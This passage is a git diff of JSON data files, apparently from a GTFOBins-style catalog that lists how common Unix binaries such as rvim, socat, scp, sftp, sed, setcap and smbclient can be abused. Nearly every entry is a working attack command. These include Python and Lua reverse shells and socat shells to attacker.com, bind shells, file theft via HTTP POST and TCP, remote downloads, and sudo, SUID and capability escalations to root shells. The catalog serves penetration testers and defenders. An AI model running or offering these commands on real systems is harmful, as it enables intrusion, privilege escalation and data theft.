f=io.open(\"LFILE\", \"wb\");\nf:write(d);\nio.close(f);'\n" + "description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file. This requires that `rview` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export LPORT=12345\nexport LFILE=file_to_save\nrview -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(os.getenv(\"LFILE\"), \"wb\");\n f:write(d);\n io.close(f);'\n" } ], "file-write": [ { - "code": "rview [file]\niDATA\n^[\nw!\n" + + "code": "rview file_to_write\niDATA\n^[\nw!\n" } ], "file-read": [ { - "code": "rview [file]" + + "code": "rview file_to_read\n" } ], "library-load": [ { - "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "rview -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'" + "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "rview -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'\n" } ], "suid": [ { - "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "./rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'" + "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "./rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'\n" } ], "sudo": [ { - "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "sudo rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "sudo rview -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" }, { - "description": "This requires that 'rview' is compiled with Lua support.", - "code": "sudo rview -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `rview` is compiled with Lua support.", + "code": "sudo rview -c ':lua os.execute(\"reset; exec sh\")'\n" } ], "capabilities": [ { - "description": "This requires that 'rview' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "./rview -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `rview` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "./rview -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" } ], "limited-suid": [ { - "description": "This requires that 'rview' is compiled with Lua support.", - "code": "./rview -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `rview` is compiled with Lua support.", + "code": "./rview -c ':lua os.execute(\"reset; exec sh\")'\n" } ] } diff --git a/gtfo/data/rvim.json b/gtfo/data/rvim.json index 3615716..20c1c9f 100644 --- a/gtfo/data/rvim.json +++ b/gtfo/data/rvim.json @@ -2,99 +2,105 @@ "functions": { "shell": [ { - "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `rvim` version is `< 9.0.1440`.", + "code": "rvim -c ':redir! > ~/.vimrc | echo \"!python3 -c \\'import pty; pty.spawn(\\\"/bin/bash\\\")\\'\" | redir END | set shell=/usr/bin/vim | diffpatch'\n" }, { - "description": "This requires that 'rvim' is compiled with Lua support.", - "code": "rvim -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" + }, + { + "description": "This requires that `rvim` is compiled with Lua support.", + "code": "rvim -c ':lua os.execute(\"reset; exec sh\")'\n" } ], "reverse-shell": [ { - "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3. Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", - "code": "rvim -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((\"[host]\",[port])))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n" + "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nrvim -c ':py import vim,sys,socket,os,pty;s=socket.socket()\ns.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))))\n[os.dup2(s.fileno(),fd) for fd in (0,1,2)]\npty.spawn(\"/bin/sh\")\nvim.command(\":q!\")'\n" } ], "non-interactive-reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell. This requires that 'rvim' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "rvim -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n" + "description": "Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nrvim -c ':lua local s=require(\"socket\"); local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n while true do\n local r,x=t:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));t:send(b);\n end;\n f:close();t:close();'\n" } ], "non-interactive-bind-shell": [ { - "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell. This requires that 'rvim' is compiled with Lua support and that `lua-socket` is installed.", - "code": "rvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",[port]));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n" + "description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export LPORT=12345\nrvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n while true do\n local r,x=c:receive();local f=assert(io.popen(r,\"r\"));\n local b=assert(f:read(\"*a\"));c:send(b);\n end;c:close();f:close();'\n" } ], "file-upload": [ { - "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3. Send local file via 'd' parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", - "code": "rvim -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(\"[url]\", bytes(u.urlencode({\"d\":open(\"[file]\").read()}).encode()))\nvim.command(\":q!\")'\n" + "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.", + "code": "export URL=http://attacker.com/\nexport LFILE=file_to_send\nrvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r, urllib.parse as u\nelse: import urllib as u, urllib2 as r\nr.urlopen(e[\"URL\"], bytes(u.urlencode({\"d\":open(e[\"LFILE\"]).read()}).encode()))\nvim.command(\":q!\")'\n" }, { - "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3. Serve files in the local folder running an HTTP server.", - "code": "rvim -c ':py import vim,sys;\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", [port]), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n" + "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Serve files in the local folder running an HTTP server.", + "code": "export LPORT=8888\nrvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import http.server as s, socketserver as ss\nelse: import SimpleHTTPServer as s, SocketServer as ss\nss.TCPServer((\"\", int(e[\"LPORT\"])), s.SimpleHTTPRequestHandler).serve_forever()\nvim.command(\":q!\")'\n" }, { - "description": "Send a local file via TCP. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file. This requires that `rvim` is compiled with Lua support and that 'lua-socket' is installed.", - "code": "rvim -c ':lua local f=io.open(\"[file]\", 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(\"[host]\",[port]);\n t:send(d);\n t:close();'\n" + "description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nrvim -c ':lua local f=io.open(os.getenv(\"LFILE\"), 'rb')\n local d=f:read(\"*a\")\n io.close(f);\n local s=require(\"socket\");\n local t=assert(s.tcp());\n t:connect(os.getenv(\"RHOST\"),os.getenv(\"RPORT\"));\n t:send(d);\n t:close();'\n" } ], "file-download": [ { - "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3. Fetch a remote file via HTTP GET request.", - "code": "rvim -c ':py import vim,sys;\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(\"[url]\", \"[file]\")\nvim.command(\":q!\")'\n" + "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. Fetch a remote file via HTTP GET request.", + "code": "export URL=http://attacker.com/file_to_get\nexport LFILE=file_to_save\nrvim -c ':py import vim,sys; from os import environ as e\nif sys.version_info.major == 3: import urllib.request as r\nelse: import urllib as r\nr.urlretrieve(e[\"URL\"], e[\"LFILE\"])\nvim.command(\":q!\")'\n" }, { - "description": "Fetch a remote file via TCP. Run 'nc [host] [port] < [file]' on the attacker box to send the file. This requires that 'rvim' is compiled with Lua support and that 'lua-socket' is installed.", - "code": "rvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",\"[port]\"));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(\"[file]\", \"wb\");\n f:write(d);\n io.close(f);'\n" + "description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file. This requires that `rvim` is compiled with Lua support and that `lua-socket` is installed.", + "code": "export LPORT=12345\nexport LFILE=file_to_save\nrvim -c ':lua local k=require(\"socket\");\n local s=assert(k.bind(\"*\",os.getenv(\"LPORT\")));\n local c=s:accept();\n local d,x=c:receive(\"*a\");\n c:close();\n local f=io.open(os.getenv(\"LFILE\"), \"wb\");\n f:write(d);\n io.close(f);'\n" } ], "file-write": [ { - "code": "rvim [file]\niDATA\n^[\nw\n" + "description": "", + "code": "rvim file_to_write\niDATA\n^[\nw\n" } ], "file-read": [ { - "code": "rvim [file]" + "description": "", + "code": "rvim file_to_read\n" } ], "library-load": [ { - "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "rvim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'" + "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "rvim -c ':py import vim; from ctypes import cdll; cdll.LoadLibrary(\"lib.so\"); vim.command(\":q!\")'\n" } ], "suid": [ { - "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "./rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'" + "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "./rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'\n" } ], "sudo": [ { - "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "sudo rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "sudo rvim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" }, { - "description": "This requires that 'rvim' is compiled with Lua support.", - "code": "sudo rvim -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `rvim` is compiled with Lua support.", + "code": "sudo rvim -c ':lua os.execute(\"reset; exec sh\")'\n" } ], "capabilities": [ { - "description": "This requires that 'rvim' is compiled with Python support. Prepend ':py3' for Python 3.", - "code": "./rvim -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'" + "description": "This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.", + "code": "./rvim -c ':py import os; os.setuid(0); os.execl(\"/bin/sh\", \"sh\", \"-c\", \"reset; exec sh\")'\n" } ], "limited-suid": [ { - "description": "This requires that 'rvim' is compiled with Lua support.", - "code": "./rvim -c ':lua os.execute(\"reset; exec sh\")'" + "description": "This requires that `rvim` is compiled with Lua support.", + "code": "./rvim -c ':lua os.execute(\"reset; exec sh\")'\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/sash.json b/gtfo/data/sash.json index 42dfa0d..a54b629 100644 --- a/gtfo/data/sash.json +++ b/gtfo/data/sash.json @@ -2,17 +2,20 @@ "functions": { "shell": [ { - "code": "slsh -e 'system(\"/bin/sh\")'" + + "code": "sash\n" } ], - "sudo": [ + "suid": [ { - "code": "sudo slsh -e 'system(\"/bin/sh\")'" + + "code": "./sash\n" } ], - "limited-suid": [ + "sudo": [ { - "code": "./slsh -e 'system(\"/bin/sh\")'" + + "code": "sudo sash\n" } ] } diff --git a/gtfo/data/scanmem.json b/gtfo/data/scanmem.json new file mode 100644 index 0000000..bcc5978 --- /dev/null +++ b/gtfo/data/scanmem.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "scanmem\nshell /bin/sh\n" + } + ], + "suid": [ + { + + "code": "./scanmem\nshell /bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo scanmem\nshell /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/scp.json b/gtfo/data/scp.json index d6d2e58..069124d 100644 --- a/gtfo/data/scp.json +++ b/gtfo/data/scp.json @@ -2,30 +2,33 @@ "functions": { "shell": [ { + "code": "TF=$(mktemp)\necho 'sh 0<&2 1>&2' > $TF\nchmod +x \"$TF\"\nscp -S $TF x y:\n" } ], "file-upload": [ { "description": "Send local file to a SSH server.", - "code": "scp [file] [user@host:[file]]\n" + "code": "RPATH=user@attacker.com:~/file_to_save\nLPATH=file_to_send\nscp $LFILE $RPATH\n" } ], "file-download": [ { "description": "Fetch a remote file from a SSH server.", - "code": "scp [user@host:[file]] [file]\n" + "code": "RPATH=user@attacker.com:~/file_to_get\nLFILE=file_to_save\nscp $RPATH $LFILE\n" } ], "sudo": [ { + "code": "TF=$(mktemp)\necho 'sh 0<&2 1>&2' > $TF\nchmod +x \"$TF\"\nsudo scp -S $TF x y:\n" } ], "limited-suid": [ { + "code": "TF=$(mktemp)\necho 'sh 0<&2 1>&2' > $TF\nchmod +x \"$TF\"\n./scp -S $TF a b:\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/screen.json b/gtfo/data/screen.json index 7a7feaa..e77488a 100644 --- a/gtfo/data/screen.json +++ b/gtfo/data/screen.json @@ -2,23 +2,25 @@ "functions": { "shell": [ { - "code": "screen" + + "code": "screen\n" } ], "file-write": [ { - "description": "This works on screen version 4.06.02. Data is appended to the file and '\\n' is converted to '\\r\\n'.", - "code": "screen -L -Logfile [file] echo DATA\n" + "description": "This works on screen version 4.06.02. Data is appended to the file and `\\n` is converted to `\\r\\n`.", + "code": "LFILE=file_to_write\nscreen -L -Logfile $LFILE echo DATA\n" }, { - "description": "This works on screen version 4.05.00. Data is appended to the file and '\\n' is converted to '\\r\\n'.", - "code": "screen -L [file] echo DATA\n" + "description": "This works on screen version 4.05.00. Data is appended to the file and `\\n` is converted to `\\r\\n`.", + "code": "LFILE=file_to_write\nscreen -L $LFILE echo DATA\n" } ], "sudo": [ { - "code": "sudo screen" + + "code": "sudo screen\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/script.json b/gtfo/data/script.json index b7af486..906a09e 100644 --- a/gtfo/data/script.json +++ b/gtfo/data/script.json @@ -2,19 +2,21 @@ "functions": { "shell": [ { - "code": "script -q /dev/null" + + "code": "script -q /dev/null\n" } ], "sudo": [ { - "code": "sudo script -q /dev/null" + + "code": "sudo script -q /dev/null\n" } ], "file-write": [ { "description": "The wrote content is corrupted by debug prints.", - "code": "script -q -c 'echo DATA' [file]" + "code": "script -q -c 'echo DATA' file_to_write\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/scrot.json b/gtfo/data/scrot.json new file mode 100644 index 0000000..6df0107 --- /dev/null +++ b/gtfo/data/scrot.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "scrot -e /bin/sh\n" + } + ], + "limited-suid": [ + { + + "code": "./scrot -e /bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo scrot -e /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/sed.json b/gtfo/data/sed.json index 2872c3d..b6c7b89 100644 --- a/gtfo/data/sed.json +++ b/gtfo/data/sed.json @@ -2,40 +2,43 @@ "functions": { "shell": [ { - "description": "GNU version only. Also, this requires 'bash'.", - "code": "sed -n '1e exec sh 1>&0' /etc/hosts" + "description": "GNU version only. Also, this requires `bash`.", + "code": "sed -n '1e exec sh 1>&0' /etc/hosts\n" }, { "description": "GNU version only. The resulting shell is not a proper TTY shell.", - "code": "sed e" + "code": "sed e\n" } ], "command": [ { "description": "GNU version only.", - "code": "sed -n '1e id' /etc/hosts" + "code": "sed -n '1e id' /etc/hosts\n" } ], "file-write": [ { - "code": "sed -n \"1s/.*/DATA/w [file]\" /etc/hosts\n" + + "code": "LFILE=file_to_write\nsed -n \"1s/.*/DATA/w $LFILE\" /etc/hosts\n" } ], "file-read": [ { - "code": "sed '' [file]\n" + + "code": "LFILE=file_to_read\nsed '' \"$LFILE\"\n" } ], "suid": [ { - "code": "./sed -e '' [file]\n" + + "code": "LFILE=file_to_read\n./sed -e '' \"$LFILE\"\n" } ], "sudo": [ { "description": "GNU version only. Also, this requires `bash`.", - "code": "sudo sed -n '1e exec sh 1>&0' /etc/hosts" + "code": "sudo sed -n '1e exec sh 1>&0' /etc/hosts\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/service.json b/gtfo/data/service.json index 63e650f..269c4f6 100644 --- a/gtfo/data/service.json +++ b/gtfo/data/service.json @@ -2,13 +2,15 @@ "functions": { "shell": [ { - "code": "/usr/sbin/service ../../bin/sh" + + "code": "/usr/sbin/service ../../bin/sh\n" } ], "sudo": [ { - "code": "sudo service ../../bin/sh" + + "code": "sudo service ../../bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/setarch.json b/gtfo/data/setarch.json index 2673e71..367f5c9 100644 --- a/gtfo/data/setarch.json +++ b/gtfo/data/setarch.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { - "code": "setarch $(arch) /bin/sh" + + "code": "setarch $(arch) /bin/sh\n" } ], "suid": [ { - "code": "./setarch $(arch) /bin/sh -p" + + "code": "./setarch $(arch) /bin/sh -p\n" } ], "sudo": [ { - "code": "sudo setarch $(arch) /bin/sh" + + "code": "sudo setarch $(arch) /bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/setcap.json b/gtfo/data/setcap.json new file mode 100644 index 0000000..f2e7387 --- /dev/null +++ b/gtfo/data/setcap.json @@ -0,0 +1,16 @@ +{ + "functions": { + "suid": [ + { + "description": "Can be used to give and capabilities to other files. cap_setuid for example gives an executable permissions to switch uid.", + "code": "cp $(which python) .\nsetcap cap_setuid+ep python\n./python -c 'import os; os.setuid(0); os.system(\"/bin/sh\")'\n" + } + ], + "sudo": [ + { + "description": "", + "code": "cp $(which python) .\nsudo setcap cap_setuid+ep python\n./python -c 'import os; os.setuid(0); os.system(\"/bin/sh\")'\n" + } + ] + } +} diff --git a/gtfo/data/setfacl.json b/gtfo/data/setfacl.json new file mode 100644 index 0000000..b6c7603 --- /dev/null +++ b/gtfo/data/setfacl.json @@ -0,0 +1,16 @@ +{ + "functions": { + "suid": [ + { + + "code": "LFILE=file_to_change\nUSER=somebody\n./setfacl -m u:$USER:rwx $LFILE\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_change\nUSER=somebody\nsudo setfacl -m -u:$USER:rwx $LFILE\n" + } + ] + } +} diff --git a/gtfo/data/setlock.json b/gtfo/data/setlock.json new file mode 100644 index 0000000..353a9ad --- /dev/null +++ b/gtfo/data/setlock.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "TF=$(mktemp)\nsetlock $TF /bin/sh\n" + } + ], + "suid": [ + { + + "code": "./setlock - /bin/sh -p\n" + } + ], + "sudo": [ + { + + "code": "sudo setlock - /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/sftp.json b/gtfo/data/sftp.json index e499f44..3515078 100644 --- a/gtfo/data/sftp.json +++ b/gtfo/data/sftp.json @@ -2,25 +2,27 @@ "functions": { "shell": [ { - "code": "sftp [user@host]\n!/bin/sh\n" + + "code": "HOST=user@attacker.com\nsftp $HOST\n!/bin/sh\n" } ], "file-upload": [ { "description": "Send local file to a SSH server.", - "code": "sftp [user@host]\nput [source_file] [destination_file]\n" + "code": "RHOST=user@attacker.com\nsftp $RHOST\nput file_to_send file_to_save\n" } ], "file-download": [ { "description": "Fetch a remote file from a SSH server.", - "code": "sftp [user@host]\nget [source_file] [destination_file]\n" + "code": "RHOST=user@attacker.com\nsftp $RHOST\nget file_to_get file_to_save\n" } ], "sudo": [ { - "code": "sudo sftp [user@host]\n!/bin/sh\n" + + "code": "HOST=user@attacker.com\nsudo sftp $HOST\n!/bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/sg.json b/gtfo/data/sg.json index ee9c920..d3386ee 100644 --- a/gtfo/data/sg.json +++ b/gtfo/data/sg.json @@ -8,6 +8,7 @@ ], "sudo": [ { + "code": "sudo sg root\n" } ] diff --git a/gtfo/data/shred.json b/gtfo/data/shred.json new file mode 100644 index 0000000..1d3c655 --- /dev/null +++ b/gtfo/data/shred.json @@ -0,0 +1,16 @@ +{ + "functions": { + "file-write": [ + { + "description": "", + "code": "LFILE=file_to_delete\nshred -u $LFILE\n" + } + ], + "sudo": [ + { + "description": "", + "code": "LFILE=file_to_delete\nsudo shred -u $LFILE\n" + } + ] + } +} diff --git a/gtfo/data/shuf.json b/gtfo/data/shuf.json index 3f8ed65..a656591 100644 --- a/gtfo/data/shuf.json +++ b/gtfo/data/shuf.json @@ -3,26 +3,26 @@ "file-read": [ { "description": "The read file content is corrupted by randomizing the order of NUL terminated strings.", - "code": "shuf -z \"[file]\"\n" + "code": "LFILE=file_to_read\nshuf -z \"$LFILE\"\n" } ], "file-write": [ { "description": "The written file content is corrupted by adding a newline.", - "code": "shuf -e DATA -o \"[file]\"\n" + "code": "LFILE=file_to_write\nshuf -e DATA -o \"$LFILE\"\n" } ], "suid": [ { "description": "The written file content is corrupted by adding a newline.", - "code": "./shuf -e DATA -o \"[file]\"\n" + "code": "LFILE=file_to_write\n./shuf -e DATA -o \"$LFILE\"\n" } ], "sudo": [ { "description": "The written file content is corrupted by adding a newline.", - "code": "sudo shuf -e DATA -o \"[file]\"\n" + "code": "LFILE=file_to_write\nsudo shuf -e DATA -o \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/slsh.json b/gtfo/data/slsh.json new file mode 100644 index 0000000..101befe --- /dev/null +++ b/gtfo/data/slsh.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "slsh -e 'system(\"/bin/sh\")'\n" + } + ], + "sudo": [ + { + + "code": "sudo slsh -e 'system(\"/bin/sh\")'\n" + } + ], + "limited-suid": [ + { + + "code": "./slsh -e 'system(\"/bin/sh\")'\n" + } + ] + } +} diff --git a/gtfo/data/smbclient.json b/gtfo/data/smbclient.json index aa5a167..8c62ac2 100644 --- a/gtfo/data/smbclient.json +++ b/gtfo/data/smbclient.json @@ -1,27 +1,28 @@ { - "description": "A valid SMB/CIFS server must be available.", "functions": { "shell": [ { - "code": "smbclient '\\\\[host]\\share'\n!/bin/sh\n" + + "code": "smbclient '\\\\attacker\\share'\n!/bin/sh\n" } ], "file-upload": [ { - "description": "Install 'https://github.com/SecureAuthCorp/impacket' and run 'sudo smbserver.py share /tmp' on the attacker box to collect the file.", - "code": "smbclient '\\\\[host]\\share' -c 'put [source_file] [destination_file]'\n" + "description": "Install [Impacket](https://github.com/SecureAuthCorp/impacket) and run `sudo smbserver.py share /tmp` on the attacker box to collect the file.", + "code": "smbclient '\\\\attacker\\share' -c 'put file_to_send where_to_save'\n" } ], "file-download": [ { - "description": "Install 'https://github.com/SecureAuthCorp/impacket' and run 'sudo smbserver.py share /tmp' on the attacker box to send the file.", - "code": "smbclient '\\\\[host]\\share' -c 'put [source_file] [destination_file]'\n" + "description": "Install [Impacket](https://github.com/SecureAuthCorp/impacket) and run `sudo smbserver.py share /tmp` on the attacker box to send the file.", + "code": "smbclient '\\\\attacker\\share' -c 'put file_to_send where_to_save'\n" } ], "sudo": [ { - "code": "sudo smbclient '\\\\[host]\\share'\n!/bin/sh\n" + + "code": "sudo smbclient '\\\\attacker\\share'\n!/bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/snap.json b/gtfo/data/snap.json index d9200a7..36c0c44 100644 --- a/gtfo/data/snap.json +++ b/gtfo/data/snap.json @@ -2,8 +2,8 @@ "functions": { "sudo": [ { - "description": "It runs commands using a specially crafted Snap package. Generate it with 'https://github.com/jordansissel/fpm' and upload it to the target.\n```cd $(mktemp -d)\nmkdir -p meta/hooks\nprintf '#!/bin/sh\\n%s; false' \"[command]\" >meta/hooks/install\nchmod +x meta/hooks/install\nfpm -n xxxxx -s dir -t snap -a all meta\n```", - "code": "sudo snap install xxxxx_1.0_all.snap --dangerous --devmode\n" + "description": "It runs commands using a specially crafted Snap package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.\n```\nCOMMAND=id\ncd $(mktemp -d)\nmkdir -p meta/hooks\nprintf '#!/bin/sh\\n%s; false' \"$COMMAND\" >meta/hooks/install\nchmod +x meta/hooks/install\nfpm -n xxxx -s dir -t snap -a all meta\n```\n", + "code": "sudo snap install xxxx_1.0_all.snap --dangerous --devmode\n" } ] } diff --git a/gtfo/data/socat.json b/gtfo/data/socat.json index 614cc95..cac4eda 100644 --- a/gtfo/data/socat.json +++ b/gtfo/data/socat.json @@ -8,26 +8,38 @@ ], "reverse-shell": [ { - "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", - "code": "socat tcp-connect:[host]:[port] exec:/bin/sh,pty,stderr,setsid,sigint,sane\n" + "description": "Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.", + "code": "RHOST=attacker.com\nRPORT=12345\nsocat tcp-connect:$RHOST:$RPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane\n" } ], "bind-shell": [ { - "description": "Run 'socat FILE:`tty`,raw,echo=0 TCP:[host]:[port]' on the attacker box to connect to the shell.", - "code": "socat TCP-LISTEN:[port],reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane\n" + "description": "Run ``socat FILE:`tty`,raw,echo=0 TCP:target.com:12345`` on the attacker box to connect to the shell.", + "code": "LPORT=12345\nsocat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane\n" } ], "file-upload": [ { - "description": "Run 'socat -u tcp-listen:[port],reuseaddr open:[file],creat' on the attacker box to collect the file.", - "code": "socat -u file:[file] tcp-connect:[host]:[port]\n" + "description": "Run ``socat -u tcp-listen:12345,reuseaddr open:file_to_save,creat`` on the attacker box to collect the file.", + "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\nsocat -u file:$LFILE tcp-connect:$RHOST:$RPORT\n" } ], "file-download": [ { - "description": "Run 'socat -u file:[file] tcp-listen:[port],reuseaddr' on the attacker box to send the file.", - "code": "socat -u tcp-connect:[host]:[port] open:[file],creat\n" + "description": "Run ``socat -u file:file_to_send tcp-listen:12345,reuseaddr`` on the attacker box to send the file.", + "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_save\nsocat -u tcp-connect:$RHOST:$RPORT open:$LFILE,creat\n" + } + ], + "file-read": [ + { + + "code": "LFILE=file_to_read\nsocat -u \"file:$LFILE\" -\n" + } + ], + "file-write": [ + { + + "code": "LFILE=file_to_write\nsocat -u 'exec:echo DATA' \"open:$LFILE,creat\"\n" } ], "sudo": [ @@ -38,9 +50,9 @@ ], "limited-suid": [ { - "description": "Run 'socat file:`tty`,raw,echo=0 tcp-listen:[port]' on the attacker box to receive the shell.", - "code": "./socat tcp-connect:[host]:[port] exec:/bin/sh,pty,stderr,setsid,sigint,sane\n" + "description": "Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.", + "code": 